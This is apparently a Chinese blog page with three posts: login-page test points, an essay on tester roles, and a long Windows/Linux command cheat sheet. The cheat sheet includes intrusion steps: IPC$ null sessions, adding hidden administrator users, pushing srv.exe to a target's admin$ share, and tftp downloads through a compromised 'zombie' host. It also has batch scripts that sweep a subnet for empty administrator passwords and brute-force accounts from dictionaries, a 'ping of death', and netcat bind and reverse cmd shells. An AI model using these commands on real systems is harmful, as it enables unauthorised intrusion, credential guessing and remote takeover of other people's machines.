发布新日志

  • 登陆界面测试点总结--20150510

    grade1 发布于 2015-05-10 11:05:58

    参考前辈的总结,加上一些自己的思考,列出如下测试点。欢迎大家提出自己的意见,我会定期修改

    1功能

    l  正确的用户名密码,跳转正确

    l  错误的用户名或密码提示正确

    l  用户名密码支持粘贴

    l  记住用户名

    l  已记住用户名的选择

    l  自动登录

    l  密码不明文

    l  用户名密码软键盘

    l  自动去掉用户名密码前后空格(可选)

    l  验证码(有时效性,过期自动更新,可识别,可手动更新,动态生成,能防止自动识别)

    l  注册页面的链接

    l  忘记密码

    l  合作方账号登陆

    l  二维码登陆

     

    性能

    l  登陆界面加载时间,考虑多用户并发场景

    l  跳转到其他页面时间(登陆成功后,忘记密码,注册),考虑多用户并发场景

    l  验证码更新时间

    l  用户数达到一定量级后认证时间

    安全

    l  密码不可往外粘贴

    l  防暴力破解

    l  验证码(动态生成,能防止自动识别)

    l  同一账号是否允许多地登陆

    l  多账号同一地点登陆

    l  用户名密码传输是否加密

    l  保存密码功能本地是否加密

    l  用户名密码校验是否在服务器端

    l  登录成功后生成的Cookie,是否是httponly 

    l  用户名和密码的输入框,应该屏蔽SQL 注入攻击

    l  用户名和密码的的输入框,应该禁止输入脚本 (防止XSS攻击)

     

     

    易用性

    l  密码错误时密码自动清空

    l  输入密码的时候,大写键盘开启的时候要有提示信息。

    l  输入框提示信息

    l  支持拷贝输入

    l  tab建功能(全键盘操作)

    l  错误提示信息是否有指导性

    l  新功能有操作指导(比如二维码登陆)

    l  回车键提交数据

    兼容性

    l  主流的浏览器下能否显示正常已经功能正常(IE,6,7,8,9, Firefox, Chrome, Safari,等)

    l  不同的平台是否能正常工作,比如Windows, Mac

    l  移动设备上是否正常工作,比如Iphone, Andriod

    l  不同的分辨率

    l  不同语言界面展示和提示信息是否正常

     

     

  • 测试者的帽子

    liangshi 发布于 2010-03-13 14:14:02

    去年参加校园招聘时,有一位学生问我:“做测试是不是比较枯燥?”我不想骗他:“在测试过程中,有许多工作是很琐碎的,与开发者的创造性工作相比没有明显的成就感,的确很枯燥、很无聊。但是,测试也有乐趣。测试的乐趣来自于全局观,来自从于不同的角度考察系统的满足感。”

    Kent Beck在介绍TDD的时候,建议开发者在不同的开发活动中要戴不同的帽子——交替用“测试”和“开发”的视角处理当前的工作。这篇短文将介绍测试者的帽子和戴上帽子的乐趣。

    攻击者的帽子Myers在1979年就指出:测试是为了发现错误而执行程序的过程;成功的测试用例是使程序失败的测试用例。这使得测试者象士兵一样去搜索被攻击阵地的弱点和漏洞。这些弱点可能来自产品经理含糊的邮件、来自紧迫进度压力下的手忙脚乱、来自咖啡因、可乐、茶水混在一起的头昏脑涨。测试者需要反复地搜索、猜测、尝试和攻击,才能获得成功。通过艰苦的努力发现去发现隐蔽的bug,这就是测试的根本乐趣。这也许只有测试从业者才能理解。

    客户的帽子。在许多开发团队中,产品经理负责规划产品功能,但并不真正使用产品;开发者负责开发框架或模块,但并不部署整个产品。是测试者,他们代表客户,通过部署、使用被测试软件,率先获得产品的全局观。而全局观是至关重要的:成功的产品不是没有错误的产品,它必须满足用户目标且提供良好的使用体验。测试者要学会“角色扮演”,将自己沉浸在用户的情景中,去保护用户的价值。这不是一件容易的工作。

    咨询师的帽子。产品经理不喜欢别人对他的开发安排说三道四,开发者也不喜欢别人对他的设计指手画脚,但是他们都愿意接受有价值的建议。由于测试者从多个角度考察系统,他们往往可以发现遗漏的细节,提出有力的证据,贡献良好的想法。在资源允许的情况下,测试者可以评审规格说明、设计、代码,并贡献自己的想法。以我自己的经验,“易测试性”和“对调试的内建支持”是最容易被忽视的功能点,测试者需要从项目的初始阶段就开始持续增强它们。正如Martin Flower所说,测试移到了编程的前沿和中心位置

    开发者的帽子。对于自动化系统测试,测试者的测试开发是基于被测试系统(SUT, Software Under Test)的二次开发。测试者通过在SUT上构建“面向测试的应用系统”,一方面检查SUT的正确性,一方面检验SUT能否支持客户去实现客户目标。既然是开发应用系统,测试者就要考虑架构、部署和维护。而且,测试处于开发的下游,经常受到上游活动的影响,因此对测试系统的易扩展性(需要持续地加入新的测试用例)、可维护性(在上游工件发生变化的情况下,将影响控制在可接受的程度)、可调试性(能够快速地定位产品代码和测试代码中的缺陷),有较高的要求。此外,测试者承担的任务很多,能够用于开发、调试的时间相对较少。因此,对测试代码的质量和生产率的要求要高于平均水平。谁说测试开发没有挑战性?

    系统管理员的帽子。测试者需要将构建出的产品部署到测试环境中,运行测试用例来模拟业务过程,监控测试结果和系统运行状态以发现潜在的错误,生成报告以反映当前系统的情况。这与系统管理员的工作非常类似。不同之处在于,测试者将系统管理员数月的工作压缩在几天内完成,且反复迭代以适应产品的变化。对于一些在线系统,系统管理员是很重要的客户,他的工作对于系统的稳定性和可靠性有重要作用。测试者需要在测试环境中扮演他的角色,去发掘他可能会遇到的场景和问题,通过改进产品设计,以简化和便利他的工作。

    侦探的帽子。遇到一个难以解释或复现的bug,测试者需要调动各类工具、使用多种技巧、发挥往日经验去探索可能的原因。而解决问题的唯一武器,就是思考。测试者需要戴上福尔摩斯的帽子,不放过问题中的任何一个细节,尽可能地分析出可能的因果关系,来探索背后的真相。不断否定已有思路的思考、不断向终点探索的思考,可能是软件开发中最痛苦也最有趣的活动。

    数据分析员的帽子。在软件开发过程中会有许多数据,测试者需要有选择地收集、分析和解释它们,来指导进一步的开发活动。例如下图反映了产品代码(App Code)和测试代码(QA Code)的行数随时间变化的趋势。这里有两个有趣的现象:一、产品代码远多于测试代码;二、产品代码有快速的增长,但是测试代码的增长却很缓慢。这是不是在暗示测试有跟不上开发的风险呢?也许不用担心。对于现象一,可能的解释是:(1) App Code包括开发者的单元测试,因此不完全是产品代码;(2) 测试者用高阶脚本语言开发自动化测试,用较少的代码可以实现更多的逻辑;(3) 许多的测试用例是数据驱动的方式,QA Code没有包括存储在文件或数据库中的测试数据。对于现象二,可能的解释是:(1) 作为下游活动,测试总是落后于开发。测试者还在测试前一阶段的产品代码,还没有开始测试最新签入(check-in)的代码;(2) 测试者正在准备测试数据,还没有编写新的测试代码;(3) App Code增长是因为开发者引入了新的开发库,签入了大量已有代码。总之,数据很有趣,但是更有趣的是对数据的解释。要想获得真实的情况,就必须和相关人员讨论

    image

    服务者的帽子。睿智的前辈教诲我们:测试是一种服务角色。测试员是否成功,主要是看其是否很好地满足了客户和要求和最佳利益。这里的客户包括项目经理、程序员、技术支持人员、系统管理员、管理层、最终用户和项目相关人员。测试者要认真研究,找出对项目最重要的人,找出要服务人。这是做好测试工作的第一步。如何为客户提供更好地服务,是测试者需要持续思考的问题。

    当然,测试者还有许多其他的帽子,更多的帽子也会随着职业的发展在未来出现。尽可能宽泛地思考,频繁地更换帽子,是测试者的乐趣。坚持一种视角,持续地挖掘,是测试者的快乐。Happy testing!

  • 运行命令大全

    love0523 发布于 2008-11-05 12:01:02

    winver---------检查Windows版本
    wmimgmt.msc----打开windows管理体系结构(WMI)
    wupdmgr--------windows更新程序
    wscrīpt--------windows脚本宿主设置
    write----------写字板
    winmsd---------系统信息
    wiaacmgr-------扫描仪和照相机向导
    winchat--------XP自带局域网聊天
    mem.exe--------显示内存使用情况
    Msconfig.exe---系统配置实用程序
    mplayer2-------简易widnows media player
    mspaint--------画图板
    mstsc----------远程桌面连接
    mplayer2-------媒体播放机
    magnify--------放大镜实用程序
    mmc------------打开控制台
    mobsync--------同步命令
    dxdiag---------检查DirectX信息
    drwtsn32------ 系统医生
    devmgmt.msc--- 设备管理器
    dfrg.msc-------磁盘碎片整理程序
    diskmgmt.msc---磁盘管理实用程序
    dcomcnfg-------打开系统组件服务
    ddeshare-------打开DDE共享设置
    dvdplay--------DVD播放器
    net stop messenger-----停止信使服务
    net start messenger----开始信使服务
    notepad--------打开记事本
    nslookup-------网络管理的工具向导
    ntbackup-------系统备份和还原
    narrator-------屏幕“讲述人”
    ntmsmgr.msc----移动存储管理器
    ntmsoprq.msc---移动存储管理员操作请求
    netstat -an----(TC)命令检查接口
    syncapp--------创建一个公文包
    sysedit--------系统配置编辑器
    sigverif-------文件签名验证程序
    sndrec32-------录音机
    shrpubw--------创建共享文件夹
    secpol.msc-----本地安全策略
    syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
    services.msc---本地服务设置
    Sndvol32-------音量控制程序
    sfc.exe--------系统文件检查器
    sfc /scannow---windows文件保护
    tsshutdn-------60秒倒计时关机命令
    tourstart------xp简介(安装完成后出现的漫游xp程序)
    taskmgr--------任务管理器
    eventvwr-------事件查看器
    eudcedit-------造字程序
    explorer-------打开资源管理器
    packager-------对象包装程序
    perfmon.msc----计算机性能监测程序
    progman--------程序管理器
    regedit.exe----注册表
    rsop.msc-------组策略结果集
    regedt32-------注册表编辑器
    rononce -p ----15秒关机
    regsvr32 /u *.dll----停止dll文件运行
    regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符
    chkdsk.exe-----Chkdsk磁盘检查
    certmgr.msc----证书管理实用程序
    calc-----------启动计算器
    charmap--------启动字符映射表
    cliconfg-------SQL SERVER 客户端网络实用程序
    Clipbrd--------剪贴板查看器
    conf-----------启动netmeeting
    compmgmt.msc---计算机管理
    cleanmgr-------^^整理
    ciadv.msc------索引服务程序
    osk------------打开屏幕键盘
    odbcad32-------ODBC数据源管理器
    oobe/msoobe /a----检查XP是否激活
    lusrmgr.msc----本机用户和组
    logoff---------注销命令
    iexpress-------木马捆绑工具,系统自带
    Nslookup-------IP地址侦测器
    fsmgmt.msc-----共享文件夹管理器
    utilman--------辅助工具管理器
    gpedit.msc-----组策略
    regsvr32 /u *.dll----停止dll文件运行
    regsvr32 /u zipfldr.dll------取消ZIP支持
    rundll32.exe shell32.dll,Control_RunDLL ----------显示控制面板
    rundll32.exe shell32.dll,Control_RunDLL
    access.cpl,,1--------显示辅助功能选项
    rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1--打开系统属性
    rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1---删除或添加程序
    rundll32.exe syncui.dll,Briefcase_Create----桌面上建立公文包
    rundll32.exe diskcopy.dll,DiskCopyRunDll----复制软盘驱动器
    rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0--显示时间属性
    rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0----显示桌面墙纸属性
    rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0-----游戏控制器
    rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0---音频属性
    cmd.exe--------CMD命令提示符 chkdsk.exe-----Chkdsk磁盘检查
    certmgr.msc----证书管理实用程序 calc-----------启动计算器
    charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序
    Clipbrd--------剪贴板查看器 conf-----------启动netmeeting
    compmgmt.msc---计算机管理 cleanmgr-------垃圾整理
    ciadv.msc------索引服务程序 osk------------打开屏幕键盘
    odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活
    lusrmgr.msc----本机用户和组 logoff---------注销命令
    iexpress-------木马捆绑工具,系统自带 Nslookup-------IP地址侦测器
    fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器
    net use \\ip\ipc$ " " /user:" " 建立IPC空链接
    net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
    net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
    net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
    net use \\ip\ipc$ /del 删除IPC链接
    net use h: /del 删除映射对方到本地的为H:的映射
    net user 用户名 密码 /add 建立用户
    net user guest /active:yes 激活guest用户
    net user 查看有哪些用户
    net user 帐户名 查看帐户的属性
    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start 查看开启了哪些服务
    net start 服务名 开启服务;(如:net start telnet, net start schedule)
    net stop 服务名 停止某服务
    net time \\目标ip 查看对方时间
    net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
    net view 查看本地局域网内开启了哪些共享
    net view \\ip 查看对方局域网内开启了哪些共享
    net config 显示系统网络设置
    net logoff 断开连接的共享
    net pause 服务名 暂停某服务
    net send ip "文本信息" 向对方发信息
    net ver 局域网内正在使用的网络连接类型和信息
    net share 查看本地开启的共享
    net share ipc$ 开启ipc$共享
    net share ipc$ /del 删除ipc$共享
    net share c$ /del 删除C:共享
    net user guest 12345 用guest用户登陆后用将密码改为12345
    net password 密码 更改系统登陆密码
    netstat -a 查看开启了哪些端口,常用netstat -an
    netstat -n 查看端口的网络连接情况,常用netstat -an
    netstat -v 查看正在进行的工作
    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
    netstat -s 查看正在使用的所有协议使用情况
    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
    tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
    ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

    #2 二:

    del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
    move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
    at id号 开启已注册的某个计划任务
    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
    at id号 /delete 停止某个已注册的计划任务
    at 查看所有的计划任务
    at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
    finger username @host 查看最近有哪些用户登陆
    telnet ip 端口 远和登陆服务器,默认端口为23
    open ip 连接到IP(属telnet登陆后的命令)
    telnet 在本机上直接键入telnet 将进入本机的telnet
    copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
    copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
    copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
    tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
    mem 查看cpu使用情况
    attrib 文件名(目录名) 查看某文件(目录)的属性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
    set 指定环境变量名称=要指派给变量的字符 设置环境变量
    set 显示当前所有的环境变量
    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
    pause 暂停批处理程序,并显示出:请按任意键继续....
    if 在批处理程序中执行条件处理(更多说明见if命令及变量)
    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
    call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
    for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
    echo 信息 在屏幕上显示出信息
    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
    find 文件名 查找某文件
    title 标题名字 更改CMD窗口标题名字
    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
    prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

    #3 三:

    ver 在DOS窗口下显示版本信息
    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
    md 目录名 创建目录
    replace 源文件 要替换文件的目录 替换文件
    ren 原文件名 新文件名 重命名文件名
    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
    type 文件名 显示文本文件的内容
    more 文件名 逐屏显示输出文件
    doskey 要锁定的命令=字符
    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
    taskmgr 调出任务管理器
    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
    path 路径\可执行文件的文件名 为可执行文件设置一个路径。
    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
    regedit /e 注册表文件名 导出注册表
    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
    cacls 文件名 查看文件的访问用户权限列表
    REM 文本内容 在批处理文件中添加注解
    netsh 查看或更改本地网络配置情况

    #4 四:

    IIS服务命令:
    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
    iisreset /start或stop 启动(停止)所有Internet服务
    iisreset /restart 停止然后重新启动所有Internet服务
    iisreset /status 显示所有Internet服务状态
    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
    iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
    FTP 命令: (后面有详细说明内容)
    ftp的命令行格式为:
    ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
    -d 使用调试方式。
    -n 限制ftp的自动登录,即不使用.netrc文件。
    -g 取消全局文件名。
    help [命令] 或 ?[命令] 查看命令说明
    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
    pwd 列出当前远端主机目录
    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
    mget [remote-files] 从远端主机接收一批文件至本地主机
    mput local-files 将本地主机中一批文件传送至远端主机
    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
    ascii 设定以ASCII方式传送文件(缺省值)
    bin 或 image 设定以二进制方式传送文件
    bell 每完成一次文件传送,报警提示
    cdup 返回上一级目录
    close 中断与远程服务器的ftp会话(与open对应)
    open host[port] 建立指定ftp服务器连接,可指定连接端口
    delete 删除远端主机中的文件
    mdelete [remote-files] 删除一批文件
    mkdir directory-name 在远端主机中建立目录
    rename [from] [to] 改变远端主机中的文件名
    rmdir directory-name 删除远端主机中的目录
    status 显示当前FTP的状态
    system 显示远端主机系统类型
    user user-name [password] [account] 重新以别的用户名登录远端主机
    open host [port] 重新建立一个新的连接
    prompt 交互提示模式
    macdef 定义宏命令
    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
    chmod 改变远端主机的文件权限
    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
    cd remote-dir 进入远程主机目录
    cdup 进入远程主机目录的父目录
    ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

    #5 五:

    MYSQL 命令:
    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
    (例:mysql -h110.110.110.110 -Uroot -P123456
    注:u与root可以不用加空格,其它也一样)
    exit 退出MYSQL
    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
    grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
    show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
    use mysql;
    show tables; 显示库中的数据表
    describe 表名; 显示数据表的结构
    create database 库名; 建库
    use 库名;
    create table 表名 (字段设定列表); 建表
    drop database 库名;
    drop table 表名; 删库和删表
    delete from 表名; 将表中记录清空
    select * from 表名; 显示表中的记录
    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
    win2003系统下新增命令(实用部份):
    shutdown /参数 关闭或重启本地或远程主机。
    参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
    例:shutdown /r /t 0 立即重启本地主机(无延时)
    taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
    参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
    参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

    #6 六:

    Linux系统下基本命令: 要区分大小写
    uname 显示版本信息(同win2K的 ver)
    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
    pwd 查询当前所在的目录位置
    cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
    cat 文件名 查看文件内容
    cat >abc.txt 往abc.txt文件中写上内容。
    more 文件名 以一页一页的方式显示一个文本文件。
    cp 复制文件
    mv 移动文件
    rm 文件名 删除文件,rm -a 目录名删除目录及子目录
    mkdir 目录名 建立目录
    rmdir 删除子目录,目录内没有文档。
    chmod 设定档案或目录的存取权限
    grep 在档案中查找字符串
    diff 档案文件比较
    find 档案搜寻
    date 现在的日期、时间
    who 查询目前和你使用同一台机器的人以及Login时间地点
    w 查询目前上机者的详细资料
    whoami 查看自己的帐号名称
    groups 查看某人的Group
    passwd 更改密码
    history 查看自己下过的命令
    ps 显示进程状态
    kill 停止某进程
    gcc 黑客通常用它来编译C语言写的文件
    su 权限转换为指定使用者
    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
    ftp ftp连接上某服务器(同win2K)

    附:批处理命令与变量

    1:for命令及变量 基本格式:
    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

    (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
    command_parameters:为特定命令指定参数或命令行开关

    IN (set):指在(set)中取值;DO command :指执行command

    参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
    用法举例:
    @echo off
    echo 用法格式:test.bat *.*.* > test.txt

    for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

    /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
    @echo off
    echo 用法格式:ok.bat ip
    FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
    存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

    #7 七:

    2:if命令及变量 基本格式:
    IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
    例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
    0 指发现并成功执行(真);1 指没有发现、没执行(假)。
    IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
    例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
    IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
    例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
    IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

    (二)系统外部命令(均需下载相关工具):

    1、瑞士军刀:nc.exe

    参数说明:
    -h 查看帮助信息
    -d 后台模式
    -e prog程序重定向,一但连接就执行〔危险〕
    -i secs延时的间隔
    -l 监听模式,用于入站连接
    -L 监听模式,连接天闭后仍然继续监听,直到CTR+C
    -n IP地址,不能用域名
    -o film记录16进制的传输
    -p[空格]端口 本地端口号
    -r 随机本地及远程端口
    -t 使用Telnet交互方式
    -u UDP模式
    -v 详细输出,用-vv将更详细
    -w数字 timeout延时间隔
    -z 将输入,输出关掉(用于扫锚时)
    基本用法:
    nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
    nc -l -p 80 开启本机的TCP 80端口并监听
    nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
    nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
    高级用法:
    nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
    nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
    nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
